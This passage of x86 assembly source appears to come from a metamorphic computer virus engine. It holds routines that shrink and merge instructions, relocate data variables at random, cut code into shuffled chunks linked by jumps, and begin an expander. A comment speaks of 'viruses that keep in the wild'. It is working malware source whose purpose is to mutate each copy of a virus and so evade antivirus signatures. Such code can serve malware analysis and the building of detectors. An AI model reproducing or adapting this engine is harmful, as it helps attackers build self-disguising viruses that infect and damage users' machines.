mov eax, [esi]
and eax, 7
cmp eax, 3 ; OP Mem,Reg?
jnz @@Triple_End
@@Triple_Next03_Common_F6:
mov eax, [edx+1] ; If the Mem operands are the same,
cmp eax, [esi+1] ; merge them
jnz @@Triple_End
cmp eax, [edi+1]
jnz @@Triple_End
mov eax, [edx+3]
cmp eax, [esi+3]
jnz @@Triple_End
cmp eax, [edi+3]
jnz @@Triple_End
mov eax, [esi+7]
mov [edx+1], eax
mov eax, [esi]
and eax, 0F8h
jmp @@Triple_Next_SetInstruction
@@Triple_Next04:
mov eax, [edx]
cmp al, 44h+80h ; Same as above, but 8 bits instructs.
jnz @@Triple__Next04
mov eax, [edi]
cmp al, 42h+80h
jz @@Triple_Next04_Constr00
cmp al, 70h
jb @@Triple__Next04
cmp al, 7Fh
ja @@Triple__Next04
mov eax, [esi]
sub al, 80h
jmp @@Triple_Next03_Check_CMP_TEST
@@Triple_Next04_Constr00:
mov eax, [esi]
cmp al, 00h+80h
jb @@Triple__Next04
cmp al, 4Ch+80h
jbe @@Triple_Next03_Common
@@Triple__Next04:
@@Triple_End:
jmp @@EndNoCompressed ; If we didn't found any single,
; pair or triplet, end with flag of
@@EndCompressed: ; "not found"
mov eax, 1
pop edi
ret
@@EndNoCompressed:
xor eax, eax
pop edi
ret
ShrinkThisInstructions endp
;; This routine checks if the pseudoopcode passed uses a memory operand,
;; returning EAX = 1 if uses it, or 0 if it doesn't
CheckIfInstructionUsesMem proc
cmp eax, 4Eh ; Common op?
jbe @@Common
cmp eax, 4Fh ; MOV Mem,Mem --> return TRUE
jz @@UsesMem
cmp eax, 70h ; If 50/51/58/59 --> return bit 0
jb @@CheckLastBit
cmp eax, 80h ; Common 8 bits operations?
jb @@NoMem
cmp eax, 0CEh
jbe @@Common
cmp eax, 0E7h ; From E0 to E7 (NOT/NEG) -> return bit 0
jbe @@CheckLastBit
cmp eax, 0EAh ; CALL Mem?
jz @@UsesMem
cmp eax, 0EBh ; JMP Mem?
jz @@UsesMem
cmp eax, 0F1h ; SHIFT Mem?
jz @@UsesMem
cmp eax, 0F3h ; SHIFT Mem8?
jz @@UsesMem
cmp eax, 0F6h ; APICALL_STORE?
jz @@UsesMem
cmp eax, 0FBh
jz @@UsesMem
cmp eax, 0F7h
jz @@UsesMem
cmp eax, 0F8h ; MOVZX Reg,byte ptr [Mem]?
jz @@UsesMem
cmp eax, 0FCh ; LEA?
jz @@UsesMem
@@NoMem: xor eax, eax ; Return FALSE
ret
@@CheckLastBit:
and eax, 1 ; Return bit 0
ret
@@Common:
cmp eax, 4Eh ; Temporal info-transferring opcode
jz @@UsesMem
and eax, 7
cmp eax, 2
jb @@NoMem
cmp eax, 4 ; OP Reg,Mem / OP Mem,Reg / OP Mem,Imm?
ja @@NoMem ; If not, return FALSE
@@UsesMem:
mov eax, 1
ret
CheckIfInstructionUsesMem endp
;; This function merges the Imms passed in ECX and EDX depending on the
;; operations passed in EBX and EAX. The return values are the result of
;; merging the operations. For example, if we pass MOV EAX,1234 / ADD EAX,5
;; then the returned operation will be MOV EAX,1239. It's also made for
;; ADD + ADD/SUB and many more. If the operation can't be joined then the
;; return value is 0FEh. If there are no merging, but the first instruction
;; does nothing (for example, ADD EAX,1234 / MOV EAX,5 --> MOV EAX,5) then
;; the return value is NOP.
; In:
;; ECX = First Imm
;; EDX = 2nd Imm
;; EAX = First OP
;; EBX = 2nd OP (in lower 8 bits)
; Out:
;; ECX = Value to OP
;; EAX = OP to perform
;; FEh if it isn't shrinkable.
;; FFh if we must eliminate 1st instruction and leave 2nd invariable.
CalculateOperation proc
;; ADC & SBB aren't treated since they aren't used by the engine.
and ebx, 0FFh
and eax, 0FFh
cmp ebx, 40h ; If 2nd instruction is MOV, eliminate 1st
jz @@Eliminate1st
cmp eax, 40h ; First instruction == MOV?
jz @@MOV ; Then, do the merge
or eax, eax ; ADD?
jz @@ADD
cmp eax, 8 ; OR?
jz @@OR
cmp eax, 20h ; AND?
jz @@AND
cmp eax, 28h ; SUB?
jz @@SUB
cmp eax, 30h ; XOR?
jz @@XOR
cmp eax, 38h ; CMP
jz @@Eliminate1st
cmp eax, 48h ; TEST
jnz @@Eliminate1st
jmp @@NoCompression
; Check a merging with the ADD as first instruction
@@ADD: or ebx, ebx ; 2nd instr. ADD?
jz @@ADD_ADD ; Then, merge
cmp ebx, 28h ; 2nd instr. SUB?
jz @@ADD_SUB ; Then, merge
jmp @@NoCompression ; Exit with no compression
; Try the merging with OR
@@OR: cmp ebx, 8 ; 2nd instruction == OR?
jz @@OR_OR ; Merge OR / OR
jmp @@NoCompression ; Exit with no compression
@@AND: cmp ebx, 20h ; Check AND / AND
jz @@AND_AND ; If it is, merge ANDs
jmp @@NoCompression ; Exit with no compression
@@SUB: or ebx, ebx ; Check SUB / ADD or SUB / SUB
jz @@SUB_ADD
cmp ebx, 28h
jnz @@NoCompression ; Exit with no compression
@@SUB_SUB: neg ecx ; Merge the SUBs into a single operation:
sub ecx, edx ; -(1st) - 2nd = ADD Imm
xor eax, eax
ret
@@SUB_ADD: sub edx, ecx ; 2nd - 1st = ADD Imm
mov ecx, edx
xor eax, eax
ret
@@XOR: cmp ebx, 30h ; XOR / XOR?
jz @@XOR_XOR ; Then merge XORs
jmp @@NoCompression ; If it's not XOR, don't merge
@@MOV: or ebx, ebx ; MOV / ADD?
jz @@MOV_ADD
cmp ebx, 8 ; MOV / OR?
jz @@MOV_OR
cmp ebx, 20h ; MOV / AND?
jz @@MOV_AND
cmp ebx, 28h ; MOV / SUB?
jz @@MOV_SUB
cmp ebx, 30h ; MOV / XOR?
jz @@MOV_XOR
@@NoCompression:
mov eax, 0FEh ; Set "no compression" return value
ret
@@Eliminate1st:
mov eax, 0FFh ; Set NOP to first instruction (and leave the
ret ; second instruction untouched)
@@ADD_ADD:
@@MOV_ADD: add ecx, edx ; MOV + ADD or ADD + ADD = Add both Imms
ret
@@OR_OR: ; MOV + OR or OR + OR = OR both Imms
@@MOV_OR: or ecx, edx
ret
@@AND_AND: ; MOV + AND or AND + AND = AND both Imms
@@MOV_AND: and ecx, edx
ret
@@ADD_SUB: ; MOV + SUB or ADD + SUB = SUB 2nd Imm from
@@MOV_SUB: sub ecx, edx ; first Imm
ret
@@XOR_XOR: ; MOV + XOR or XOR + XOR = XOR both Imms
@@MOV_XOR: xor ecx, edx
ret
CalculateOperation endp
;; This function merges two flag checks (like JNZ/JA, for example) to get a
;; direct check to use in a conditional jump.
;; In:
;; EAX = Flag to check 1
;; EBX = Flag to check 2
;; Out:
;; EAX = Direct flag (+70h = 7xh, opcode of Jcc)
;; = 79h if unconditional jump is performed (+70h = E9h, opcode of JMP)
;; = 0FFh if no direct flag can be used
;; This function only tests the flags that are coded by this engine (not all
;; the possible types).
;;
;; Checks can be merged as:
;;
;; X(even) + X+1 = JMP(unconditional)
;; NB(3) + E(4) = NB(3)
;; NB(3) + A(7) = NB(3)
;; E(4) + A(7) = NB(3)
;;
;; B(2) + A(7) = NE(5)
;; B(2) + NE(5) = NE (5)
;; NE(5) + A(7) = NE(5)
;;
;; B(2) + E(4) = BE(6)
;; B(2) + BE(6) = BE(6)
;; E(4) + BE(6) = BE(6)
;;
;; NB(3) + BE(6) = JMP(unconditional)
;; NE(5) + BE(6) = JMP (unconditional)
GetRealCheck proc
cmp eax, ebx
jb @@1
mov ecx, ebx
mov edx, eax
jmp @@2
@@1: mov ecx, eax
mov edx, ebx
@@2: test ecx, 1 ; ECX <= EDX
jnz @@NoUnconditional
sub edx, 1 ; If Jcc1 == 7x and Jcc2 == 7x+1, it's an
cmp ecx, edx ; unconditional JMP (for example,
jz @@UnconditionalJump ; opcodes 74h/75h (JZ/JNZ), etc.
add edx, 1
@@NoUnconditional:
cmp ecx, edx ; If Jcc1 == Jcc2, the result is the same Jcc
jz @@ReturnCurrent
cmp ecx, 2 ; JB?
jz @@Check2_x
cmp ecx, 3 ; JAE?
jz @@Check3_x
cmp ecx, 4 ; JZ?
jz @@Check4_x
cmp ecx, 5 ; JNZ?
jnz @@NoOption
;; Check merge with JNZ
@@Check5_x:
cmp edx, 7 ; JNZ + JA?
jz @@SetNE ; Then, set JNZ
cmp edx, 6 ; JNZ + JBE?
jz @@UnconditionalJump ; Then, set JMP (unconditional)
jmp @@NoOption ; If there isn't any of these options, it
; can't be compressed
;; Check merge with JB
@@Check2_x:
cmp edx, 4 ; If 2nd < 4, it can't be compressed
jb @@NoOption
cmp edx, 7 ; If 2nd > 7, it can't be compressed
ja @@NoOption
test edx, 1 ; JB + JNZ/JA = JNZ
jnz @@SetNE
jmp @@SetBE ; JB + JZ/JBE = JBE
;; Check merge with JAE
@@Check3_x:
cmp edx, 4 ; JAE + JZ = JAE
jz @@SetNB
cmp edx, 7 ; JAE + JA = JAE
jz @@SetNB
cmp edx, 6 ; JAE + JBE = JMP
jz @@UnconditionalJump
jmp @@NoOption ; Others can't be compressed
;; Check merge with JZ
@@Check4_x:
cmp edx, 6 ; JZ + JBE = JBE
jz @@SetBE
cmp edx, 7 ; JZ + JA = JAE/JNB
jnz @@NoOption
; jmp @@SetNB
@@SetNB: mov eax, 3 ; Set JAE
ret
@@SetNE: mov eax, 5 ; Set JNZ
ret
@@SetBE: mov eax, 6 ; Set JBE
ret
@@NoOption:
mov eax, 0FFh ; Set "no compression"
@@ReturnCurrent:
ret
@@UnconditionalJump:
mov eax, 79h ; Set JMP
ret
GetRealCheck endp
;;
;;
;; End of shrinker
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!VarIdent
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The variable identificator
;; --------------------------
;;
;; Little function that substitutes all the variables referenced along the
;; code by pointers to a table. These pointers will allow later the
;; repositioning of all the variables that are used by the whole code. It's
;; much like the label tables for displacement instructions, but this time
;; for variable referencing.
;;
;; The variables are identified by using the function from the shrinker
;; CheckIfInstructionUsesMem() (which returns EAX true or false) and when
;; the variable only has DeltaRegister as the index.
;;
;;
;; ECX = Delta offset register (must be known)
;; [VariableTable] = Address of buffer to store variables
;; [NumberOfVariables] = Place to store the number of variables
;;
IdentifyVariables proc
mov esi, [ebp+InstructionTable]
mov edi, [ebp+VariableTable]
xor eax, eax
mov [ebp+NumberOfVariables], eax ; Initialization
@@LoopGetVar:
xor eax, eax ; Get the instruction
mov al, [esi] ; Check if it's LEA
cmp eax, 0FCh ; If it is, don't take it in account
jz @@NextInstruction
call CheckIfInstructionUsesMem ; Get the usage of Mem by
; this instruction.
or eax, eax ; EAX = 0?
jz @@NextInstruction ; Then, it doesn't
mov al, [esi+1] ; Get first index
cmp eax, ecx ; Delta register?
jz @@DeltaOffsetAt1 ; If it's, jump
mov al, [esi+2] ; Get the second index
cmp eax, ecx ; Delta register?
jz @@DeltaOffsetAt2 ; If it's, jump
@@NextInstruction:
add esi, 10h ; Next instruction
cmp esi, [ebp+AddressOfLastInstruction] ; Last instr.?
jnz @@LoopGetVar ; If not, jump
jmp @@SelectNewVariables ; Jump to regarble the variables.
@@DeltaOffsetAt1:
mov al, [esi+2] ; Get the index where the Delta
jmp @@Continue_01 ; register wasn't
@@DeltaOffsetAt2:
mov al, [esi+1]
@@Continue_01:
cmp eax, 8 ; Is it another index?
jnz @@NextInstruction ; If it is, don't change it.
mov eax, [esi+3] ; Get addition.
mov edx, [ebp+VariableTable] ; Get the variable table
mov ebx, [ebp+NumberOfVariables] ; Get the counter of
; variables.
sub eax, [ebp+_DATA_SECTION] ; Get the offset inside the
and eax, 0FFFFFFF8h ; data_section
@@LookForVariable:
or ebx, ebx ; If we haven't found the variable
jz @@InsertVariable ; already inserted, insert it
cmp eax, [edx] ; Check if it exists
jz @@VariableExists ; If exists, jump
add edx, 4 ; Check next variable
sub ebx, 4
jmp @@LookForVariable
@@InsertVariable: ; Insert the variable in the table
mov [edx], eax ; and use EDX as the new variable
mov eax, [ebp+NumberOfVariables] ; entry
add eax, 4
mov [ebp+NumberOfVariables], eax
@@VariableExists:
mov eax, 00000809h ; Set the index 9, which means
mov [esi+1], eax ; "variable identifier".
mov [esi+3], edx ; Variable address at table
jmp @@NextInstruction
@@SelectNewVariables:
mov ecx, 20000h / 4 ; Initialize the table of marks
mov edi, [ebp+VarMarksTable] ; for variables. This helps
xor eax, eax ; us to select new variables.
@@LoopInitializeMarks:
mov [edi], eax ; Initialize with 0s all the table
add edi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopInitializeMarks
;; Now what we are going to do is to get all the variables from the variable
;; table and select a new offset inside the DATA_SECTION for every one. In
;; this way the variables never point to the same place nor have a proportion
;; between them.
mov ecx, [ebp+NumberOfVariables] ; Get the table in EBX,
mov ebx, [ebp+VariableTable] ; ECX = number of entries
@@LoopGetNewVar:
call Random ; Select a new position
and eax, 01FFF8h
add eax, [ebp+VarMarksTable] ; Get the mark of the var.
mov edx, [eax] ; Is that address already reserved?
or edx, edx
jnz @@LoopGetNewVar ; If it is, select another one
mov edx, 1 ; Reserve that variable to avoid the
mov [eax], edx ; reselection of the offset
sub eax, [ebp+VarMarksTable]
push ebx ; Get the offset inside DATA_SECTION
mov ebx, eax
call Random ; Add a random from 0 to 3
and eax, 3
add eax, ebx
pop ebx
mov [ebx], eax ; Set the new address of the variable
add ebx, 4
sub ecx, 4 ; Next variable
or ecx, ecx ; Have we reached the end?
jnz @@LoopGetNewVar ; If not, loop again
ret ; Return
IdentifyVariables endp
;;
;;
;; End of variable identificator
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!Permutator
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The permutator
;;---------------
;;
;; The code here will divide in chunks of code all the disassembled made
;; before, and then linked with jumps. All the labels are also fixed, so
;; the returned permutation could be reassembled without problems.
;;
;; First, the table is generated, then shuffled and after that used to copy
;; the instructions in the order the table says. The table will be generated
;; taking the first instruction address as the beginning of the frame
;; generator, and then creating pairs of "beginnings" and "ends" of portions,
;; for example: x000-x020h, x020h-x070h, x070h-x140h, etc.
;;
;; We keep in every shuffle loop the situation of the first chunk of code,
;; since it's the entrypoint. Moreover, when making the portions we scan for
;; some specific instructions that it's better to not fragment (for example,
;; CALL [API_Address] and APICALL_STORE).
;;
PermutateCode proc
xor eax, eax
mov [ebp+NumberOfJumps], eax ; Initialize this
mov edi, [ebp+FramesTable]
mov ecx, [ebp+AddressOfLastInstruction]
mov eax, [ebp+InstructionTable]
mov esi, eax
sub ecx, eax ; Number of instructions * 10h
@@NextFrame:
call Random ; Get a random number between F0h and 1E0h
and eax, 0F0h
add eax, 0F0h
mov [edi], esi ; Set the beginning of the first frame
add esi, eax
mov [edi+4], esi ; Set the end as beginning+the random
mov ebx, esi
@@LoopCheckInst00:
sub ebx, 10h ; Get the last instruction
cmp ebx, [edi] ; If we meet the first instruction, stop
jz @@CheckInst_Next00
mov edx, [ebx] ; Get the pseudoopcode
and edx, 0FFh
cmp edx, 0FFh ; Is it NOP?
jz @@LoopCheckInst00 ; Then decrease again (ignore it)
cmp edx, 0EAh ; API CALL?
jnz @@CheckInst_Next00 ; If not, finish
@@LoopCheckInst01:
add ebx, 10h ; Get the next address
cmp ebx, [ebp+AddressOfLastInstruction] ; If it's the last
jz @@CheckInst_Next00 ; instruction, finish
mov edx, [ebx] ; Get the opcopde
and edx, 0FFh
cmp edx, 0FFh ; NOP?
jz @@LoopCheckInst01 ; If NOP, loop again
cmp edx, 0F6h ; Check for APICALL_STORE
jnz @@CheckInst_Next00 ; If it isn't, continue
add ebx, 10h ; Include APICALL_STORE in the frame
sub ebx, esi
add eax, ebx
add esi, ebx
mov [edi+4], esi
@@CheckInst_Next00:
mov ebx, esi ; Get the address of the last
jmp @@DontAdd10hYet ; instruction of the frame and jump
@@LoopCheckInst02:
add ebx, 10h ; Next instruction
@@DontAdd10hYet:
cmp ebx, [ebp+AddressOfLastInstruction] ; If it's the last
jz @@CheckInst_Next01 ; instruction, finish loop
mov edx, [ebx]
and edx, 0FFh
cmp edx, 0FFh ; NOP?
jz @@LoopCheckInst02 ; If NOP, get the next instruction
cmp edx, 0E9h ; JMP?
jz @@CheckInst_IncludeInstruction
cmp edx, 0FEh ; RET?
jz @@CheckInst_IncludeInstruction
cmp edx, 0EBh ; JMP Mem?
jz @@CheckInst_IncludeInstruction
cmp edx, 0EDh ; JMP Reg?
jz @@CheckInst_IncludeInstruction
cmp edx, 70h ; Jcc?
jb @@CheckInst_Next01
cmp edx, 7Fh
ja @@CheckInst_Next01
;; Include the next instructions in the same frame:
;; JMP: Include it to avoid strange situations where Jcc + JMP cannot be
;; compressed and then never eliminated (or something like that)
;; (3D problems :)
;; RET: The same: we avoid situations where a single RET is pointed by a
;; jump.
;; JMP Mem: Same as RET.
;; JMP Reg: Same as RET.
;; Jcc: To avoid unlinking it from its CMP/TEST from before, and then making
;; the shrinker to eliminate a single CMP/TEST.
@@CheckInst_IncludeInstruction:
add ebx, 10h ; Add instructions to the frame until all
push ebx ; the conflictive instructions are inserted
sub ebx, esi ; in the same frame. The others don't
add eax, ebx ; matter if they are wherever we want.
add esi, ebx
mov [edi+4], esi
pop ebx
jmp @@DontAdd10hYet
@@CheckInst_Next01:
add edi, 8 ; Increase the frame pointer
sub ecx, eax
cmp ecx, 01E0h ; Are we inside our last instructions?
jae @@NextFrame ; If we aren't, generate another
or ecx, ecx ; If we have arrived until the last
jz @@FramesCreationFinished ; instruction, it's finished.
mov [edi], esi ; Insert the instruction of this
add esi, ecx ; frame and the last instruction.
mov [edi+4], esi
add edi, 8
@@FramesCreationFinished:
mov [ebp+AddressOfLastFrame], edi ; Set the last frame.
@@TempLabel:
;; Calculate MOD
mov eax, edi ; Get a value we can use for
mov ebx, [ebp+FramesTable] ; mask a random number. The
sub eax, ebx ; value is got from the total
; EAX = Number of frames * 8 ; number of frames.
mov ebx, 8
@@LoopCalculateMOD:
shl ebx, 1
cmp ebx, eax
jb @@LoopCalculateMOD
sub ebx, 8
mov [ebp+MODValue], ebx
;; Now we have frames that we can permutate. We save the address of
;; the first frame to know where to jump when the code is reassembled
mov esi, [ebp+FramesTable]
mov [ebp+PositionOfFirstInstruction], esi
;; The frames are permutated. We have taken in account the first
;; instruction and we save everytime the address where the first
;; instruction is.
;; ESI = Table of frames
;; EDI = Address of last frame
mov edx, esi
@@LoopExchange:
call Random
mov ebx, [ebp+MODValue]
and eax, ebx
add eax, esi ; Get frame in EAX
; ; Uncommenting this instruction the engine doesn't permutate anything
; ; (used to avoid getting crazy while finding bugs in regenerated codes)
; mov eax, edx
cmp eax, edi ; Frame address > last frame address?
jae @@LoopExchange ; If so, get other random frame
mov ecx, [eax] ; Exchange frame at EDX with the random
mov ebx, [edx] ; frame got above.
mov [eax], ebx
mov [edx], ecx ; Be aware of first instruction position!
cmp edx, [ebp+PositionOfFirstInstruction]
jnz @@LookEAX
mov [ebp+PositionOfFirstInstruction], eax
jmp @@ExchangeNext
@@LookEAX:
cmp eax, [ebp+PositionOfFirstInstruction]
jnz @@ExchangeNext
mov [ebp+PositionOfFirstInstruction], edx
@@ExchangeNext:
add eax, 4
add edx, 4
mov ecx, [eax] ; Exchange frame
mov ebx, [edx]
mov [eax], ebx
mov [edx], ecx
add edx, 4 ; Next frame
cmp edx, edi ; Last frame?
jb @@LoopExchange ; If not, exchange next
;; Now we are going to copy the instructions and update the label
;; addresses in the label table. We include NOPs because they can
;; have a label over them, and if we eliminate them the label
;; updating will be problematic.
mov esi, [ebp+InstructionTable]
mov edi, [ebp+PermutationResult]
mov ebx, [ebp+FramesTable]
mov eax, [ebp+PositionOfFirstInstruction]
cmp ebx, eax
jnz @@InsertJump2
@@LoopCopyFrame:
mov eax, 0FFh
mov [ebp+Permut_LastInstruction], eax
mov edx, [ebx] ; Get the start and end address of the
add ebx, 4 ; frame and copy the instructions.
mov ecx, [ebx]
add ebx, 4
@@LoopCopyInstructions:
mov eax, [edx]
cmp al, 4Fh ; If we find a remaining pseudoopcode
jnz @@NextInstruction ; 4F from the shrinking part, we
mov al, 51h ; substitute it by the correct one:
mov [edx], eax ; PUSH Mem2/POP Mem
push eax
push ebx
mov ebx, [edx+7]
mov eax, 59h
mov [ebx], al
pop ebx
pop eax
@@NextInstruction:
mov [edi], eax ; Copy the instruction
mov eax, [edx+4]
mov [edi+4], eax
mov eax, [edx+8]
mov [edi+8], eax
mov [edi+0Ch], edx ; Set pointer to old code
mov [edx+0Ch], edi ; Set pointer to new code
mov eax, [edi]
and eax, 0FFh ; NOP?
cmp eax, 0FFh
jz @@NextInstruction2
@@SetLastInstruction:
; mov eax, [edi] ; Save opcode for later
; and eax, 0FFh
mov [ebp+Permut_LastInstruction], eax
jmp @@NextInstruction3
@@NextInstruction2:
mov eax, [edi+0Bh] ; Label over a NOP?
and eax, 0FFh
or eax, eax ; If so, jump to fix the problem
jnz @@SetLastInstruction
@@NextInstruction3:
add edi, 10h ; Next instruction in the frame
add edx, 10h
cmp edx, ecx ; Last instruction in the frame?
jnz @@LoopCopyInstructions ; If not, loop to copy
mov eax, [ebp+AddressOfLastFrame] ; Check if it's the last
cmp ebx, eax ; frame of the code (not of
jae @@LastFrameArrived ; the table)
mov eax, [ebx] ; Get the frame in the table
cmp eax, edx ; Is it the same?
jz @@LoopTestIfLastFrame ; Check if it's the last frame
; of the permutation table
@@LastFrameArrived:
mov eax, [ebp+Permut_LastInstruction]
cmp eax, 0E9h ; JMP <label> opcode
jz @@LoopTestIfLastFrame
cmp eax, 0EBh ; JMP Mem opcode
jz @@LoopTestIfLastFrame
cmp eax, 0EDh ; JMP Reg opcode
jz @@LoopTestIfLastFrame
cmp eax, 0FEh ; RET
jz @@LoopTestIfLastFrame
mov [edi+1], edx ; Set the new label
@@InsertJump:
mov eax, 0E9h ; JMP opcode
mov [edi], al ; Set the JMP to the new label
; EDI = Jump to update
call InsertJumpInTable ; Insert it in the table for later
add edi, 10h ; Next instruction
@@LoopTestIfLastFrame:
mov eax, [ebp+AddressOfLastFrame] ; Are we in the end of
cmp ebx, eax ; the table?
jae @@End ; If so, end instruction copy
jmp @@LoopCopyFrame ; If not, jump to continue the copy
@@InsertJump2:
mov eax, [eax] ; Get the label
mov [edi+1], eax ; Put it as label (but later will
jmp @@InsertJump ; be substituted)
; Here we have all instructions copied, and all the labels and jumps
; to other blocks waiting to be updated
@@End: mov [ebp+AddressOfLastInstruction], edi
; Update last instruction address
mov ecx, [ebp+NumberOfLabels]
mov edx, [ebp+LabelTable]
@@LoopUpdateLabel:
mov eax, [edx+4] ; Pointer to old code
mov ebx, [eax+0Ch] ; New position (directly from the
; instruction)
mov [edx], ebx ; Set new pointer in label
add edx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopUpdateLabel ; Next entry
; Now we update the inserted permutation jumps
; EDX = Pointer to label insert point (from the code above)
mov ecx, [ebp+NumberOfJumps]
mov ebx, [ebp+JumpsTable]
jmp @@CheckNumberOfJumps
@@LoopUpdateJumps:
mov esi, [ebx] ; Jump address
mov eax, [esi+1] ; Get jump destination
mov edi, [eax+0Ch] ; Get new address
mov [edx], edi ; Label pointer to new code
mov [edx+4], eax ; Label pointer to old code
mov [esi+1], edx ; Set label in jump
mov eax, [ebp+NumberOfLabels]
add eax, 1
mov [ebp+NumberOfLabels], eax
add edx, 8 ; Next new label pointer
add ebx, 4 ; Next jump to update
sub ecx, 4
@@CheckNumberOfJumps:
or ecx, ecx
jnz @@LoopUpdateJumps
;; All is OK in this point
ret
PermutateCode endp
;; Little function to insert jumps in the table.
InsertJumpInTable proc
mov ecx, [ebp+NumberOfJumps]
mov edx, [ebp+JumpsTable]
add edx, ecx
mov [edx], edi
add ecx, 4
mov [ebp+NumberOfJumps], ecx
ret
InsertJumpInTable endp
;; Random number generator. It's used along the engine.
Random proc
push edx
push ecx
mov eax, [ebp+RndSeed1]
mov ecx, [ebp+RndSeed2]
add eax, ecx
call RandomMod1
xor eax, [ebp+RndSeed1]
mov [ebp+RndSeed1], eax
mov ecx, eax
mov eax, [ebp+RndSeed2]
add [ebp+RndSeed2], ecx
call RandomMod2
xor eax, [ebp+RndSeed2]
mov [ebp+RndSeed2], eax
xor eax, [ebp+RndSeed1]
call RandomMod2
pop ecx
pop edx
ret
Random endp
RandomMod1 proc
mov edx, eax
and edx, 1FFFh
shl edx, 13h
and eax, 0FFFFFE00h
shr eax, 0Dh
or eax, edx
add eax, ecx
ret
RandomMod1 endp
RandomMod2 proc
mov edx, eax
and edx, 1FFFFh
shl edx, 0Fh
and eax, 0FFFFE000h
shr eax, 11h
or eax, edx
add eax, ecx
ret
RandomMod2 endp
;; Other wide-used function. Returns TRUE or FALSE in EAX.
RandomBoolean proc
call Random
and eax, 1
ret
RandomBoolean endp
;; Booleans based on a little genetic algorithm. Each boolean is a
;; better-than-random number based on the previous random numbers generated
;; with these ones. The viruses that keep in the wild will have accurated
;; behaviours based on these weights.
RandomBoolean_X000_3 proc
push ebx
mov ebx, [ebp+Weight_X000_3]
call CheckForBooleanWeight
mov [ebp+Weight_X000_3], ebx
pop ebx
ret
RandomBoolean_X000_3 endp
RandomBoolean_X004_7 proc
push ebx
mov ebx, [ebp+Weight_X004_7]
call CheckForBooleanWeight
mov [ebp+Weight_X004_7], ebx
pop ebx
ret
RandomBoolean_X004_7 endp
RandomBoolean_X008_11 proc
push ebx
mov ebx, [ebp+Weight_X008_11]
call CheckForBooleanWeight
mov [ebp+Weight_X008_11], ebx
pop ebx
ret
RandomBoolean_X008_11 endp
RandomBoolean_X012_15 proc
push ebx
mov ebx, [ebp+Weight_X012_15]
call CheckForBooleanWeight
mov [ebp+Weight_X012_15], ebx
pop ebx
ret
RandomBoolean_X012_15 endp
RandomBoolean_X016_19 proc
push ebx
mov ebx, [ebp+Weight_X016_19]
call CheckForBooleanWeight
mov [ebp+Weight_X016_19], ebx
pop ebx
ret
RandomBoolean_X016_19 endp
RandomBoolean_X020_23 proc
push ebx
mov ebx, [ebp+Weight_X020_23]
call CheckForBooleanWeight
mov [ebp+Weight_X020_23], ebx
pop ebx
ret
RandomBoolean_X020_23 endp
RandomBoolean_X024_27 proc
push ebx
mov ebx, [ebp+Weight_X024_27]
call CheckForBooleanWeight
mov [ebp+Weight_X024_27], ebx
pop ebx
ret
RandomBoolean_X024_27 endp
;; Function to save code above.
CheckForBooleanWeight proc
push ecx
push edx
mov ecx, ebx ; Get the sub-weight to use
cmp eax, 1
jz @@Check1
cmp eax, 2
jz @@Check2
cmp eax, 3
jz @@Check3
@@Check0: and ecx, 0000000FFh
mov edx, 000000001h
jmp @@Shr00
@@Check1: and ecx, 00000FF00h
mov edx, 000000100h
jmp @@Shr08
@@Check2: and ecx, 000FF0000h
mov edx, 000010000h
jmp @@Shr10
@@Check3: and ecx, 0FF000000h
mov edx, 001000000h
@@Shr18: shr ecx, 8
@@Shr10: shr ecx, 8
@@Shr08: shr ecx, 8 ; Set it at the beginning of ECX
@@Shr00:
call Random ; Get a random number in range 0-255
and eax, 0FFh
cmp eax, ecx ; If it's above/equal the weight, jump
jae @@Above
@@Below: cmp ecx, 0F8h ; If it has already the max value, don't
jae @@Return0 ; touch the weight
call Random
and eax, 0Fh ; True-random modification (some randomness
or eax, eax ; in the life of viriis :)
jz @@Return0
add ebx, edx ; Make more probability to FALSE
add ecx, 1
call Random
and eax, 0Fh ; Again?
or eax, eax
jz @@Below
@@Return0: xor eax, eax
pop edx
pop ecx
ret
@@Above: cmp ecx, 08h ; If it has already the min value, don't
jb @@Return1 ; decrease the weight
call Random
and eax, 0Fh ; Randomness
or eax, eax
jz @@Return1
sub ebx, edx ; Make more probability to TRUE
sub ecx, 1
call Random
and eax, 0Fh ; Again?
or eax, eax
jz @@Above
@@Return1: mov eax, 1
pop edx
pop ecx
ret
CheckForBooleanWeight endp
;;
;;
;; End of permutator.
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!Xpander
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The expander
;; ------------
;;
;; This routine expands a shrinked pseudo-asm code previously shrinked with
;; the shrinker module. It's more easy to expand here following the
;; single/pairs/triplets rules than encoding it directly in x86 asm.
;;
;; The rules of expansion are exactly the opposite ones that we use for
;; compression. For example:
;;
;; MOV [Mem],Reg
;; MOV Reg2,[Mem] ---> MOV Reg2,Reg
;;
;; but also:
;;
;; PUSH Reg
;; POP Reg2 ---> MOV Reg2,Reg
;;
;; Then the expansion rule for MOV Reg2,Reg will be:
;;
;; MOV Reg2,Reg ---> MOV [Mem],Reg + MOV Reg2,[Mem]
